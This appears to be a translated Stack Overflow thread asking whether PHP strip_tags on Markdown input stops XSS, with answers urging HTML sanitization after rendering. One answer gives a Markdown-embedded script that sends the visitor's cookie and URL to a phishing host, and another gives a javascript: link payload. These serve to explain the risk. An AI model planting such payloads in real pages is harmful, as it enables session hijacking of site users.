Markdown(带有strip_tags)是否足以阻止XSS攻击?

And*_*rew 10 php mysql xss markdown

我正在开发一个Web应用程序,允许用户在目录中键入项目的简短描述.我在我的textareas中允许Markdown,因此用户可以进行一些HTML格式化.

我的文本清理功能会在将任何输入的文本插入数据库之前将其删除:

public function sanitizeText($string, $allowedTags = "") {
    $string = strip_tags($string, $allowedTags);

    if(get_magic_quotes_gpc()) {
        return mysql_real_escape_string(stripslashes($string));
    } else {
        return mysql_real_escape_string($string);
    }
}
Run Code Online (Sandbox Code Playgroud)

基本上,我存储在数据库中的所有内容都是Markdown - 没有其他HTML,甚至"基本HTML"(如此处的SO)是允许的.

允许降价会出现任何安全威胁吗?降价可以是XSSed,即使它没有标签吗?

Pas*_*TIN 10

我认为从输入中删除任何HTML标记会给你一些非常安全的东西 - 除非有人找到一种方法将一些真正混乱的数据注入Markdown,让它产生一些更加混乱的输出^^

不过,我想到的有两件事:

第一个: strip_tags不是奇迹功能:它有一些缺陷......
例如,它会在'<'之后删除所有内容,在这种情况下:

$str = "10 appels is <than 12 apples";
var_dump(strip_tags($str));
Run Code Online (Sandbox Code Playgroud)

我得到的输出是:

string '10 appels is ' (length=13)
Run Code Online (Sandbox Code Playgroud)

哪个对您的用户不太好:-(


第二个:一天或另一天,你可能想要允许一些HTML标签/属性; 或者,即使在今天,您可能希望确保Markdown不会生成一些HTML标签/属性.

您可能对像HTMLPurifier这样的东西感兴趣:它允许您指定应保留哪些标记和属性,并过滤字符串,以便只保留那些.

它还生成有效的HTML代码 - 这总是很好;-)


Jor*_*ter 7

这是一个可爱的例子,说明为什么需要在之后而不是之前清理HTML:

降价代码:

>  <script type="text/javascript"
>  language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>
Run Code Online (Sandbox Code Playgroud)

呈现为:

<blockquote> 
<p><script type="text/javascript"
 language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l='
+ escape(window.location) + '&amp;c=' + escape(document.cookie);
</script></p> 
</blockquote> 
Run Code Online (Sandbox Code Playgroud)

你现在担心吗?


cas*_*sey 5

在渲染 Markdown 后清理生成的 HTML 将是最安全的。如果不这样做,我认为人们可以在 Markdown 中执行任意 Javascript,如下所示:

[Click me](javascript:alert\('Gotcha!'\);)
Run Code Online (Sandbox Code Playgroud)

PHP Markdown 将其转换为:

<p><a href="javascript:alert&#40;'Gotcha!'&#41;;">Click me</a></p>
Run Code Online (Sandbox Code Playgroud)

哪个可以完成这项工作。...甚至不要考虑开始添加代码来处理这些情况。正确的清理并不容易,只需使用一个好的工具并在将 Markdown 渲染为 HTML 后应用它即可。